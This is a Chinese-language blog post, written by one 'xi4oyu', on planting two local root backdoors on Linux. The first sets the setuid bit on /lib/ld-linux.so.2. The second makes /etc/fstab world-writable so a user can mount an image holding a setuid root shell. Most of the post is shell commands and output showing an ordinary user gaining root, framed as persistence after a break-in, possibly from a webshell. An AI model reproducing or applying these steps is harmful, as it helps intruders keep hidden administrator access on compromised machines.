linux后门:linux下留本地后门的两个思路方法

作者:xi4oyu

思路方法:uid思路方法其实8是很隐蔽看看过程:

[root@localdo lib]# ls -l |grep ld-linux
lrwxrwxrwx 1 root root       9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
lrwxrwxrwx 1 root root      13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2
[root@localdo lib]# chmod +s ld-linux.so.2
[root@localdo lib]# ls -l |grep ld-2.7.so
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so
lrwxrwxrwx 1 root root       9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
[root@localdo lib]#
我们这里给/lib/ld-linux.so.2这个文件(在FC8里它指向ld-2.7.so这个文件)加了uid属性然后我们看如何利用它

普通用户登录测试下权限:

[xiaoyu@localdo ~]$ whoami
xiaoyu
[xiaoyu@localdo ~]$ /lib/ld-linux.so.2 `which whoami`
root
[xiaoyu@localdo ~]$
嘿嘿 root了吧具体如何生成root shell你们自己去想吧凡事都不要点得太透对吧呵呵可以肯定/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell bash检查euid 和uid看是否相等...OK不多说了

思路方法 2:

看过程:

[root@localdo etc]# chmod a+w /etc/fstab
[root@localdo etc]#

这就留好了此思路方法比较XXOXX估计没几个管理员知道利用思路方法演示下

[xiaoyu@localdo ~]$ ls -l /etc/fstab
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab
[xiaoyu@localdo ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab

然后从本机把个文件到目标机器上去这里我们命名为test

[xiaoyu@localdo tmp]$ ls -l test
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test
[xiaoyu@localdo tmp]$ mount test
[xiaoyu@localdo tmp]$ cd /mnt
[xiaoyu@localdo mnt]$ ls -l
total 18
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root
[xiaoyu@localdo mnt]$ ./root
sh-3.2#
看到了吧从普通用户提升到root了呵呵
test这个文件baidu貌似木有上传功能撒木办法传

貌似可能有人说本地后门木啥鸟用但是你要搞清楚:个webshell里面就可以完成这切....


Tags:  有两个本地连接 两个本地连接 留后门 linux后门

延伸阅读

最新评论

发表评论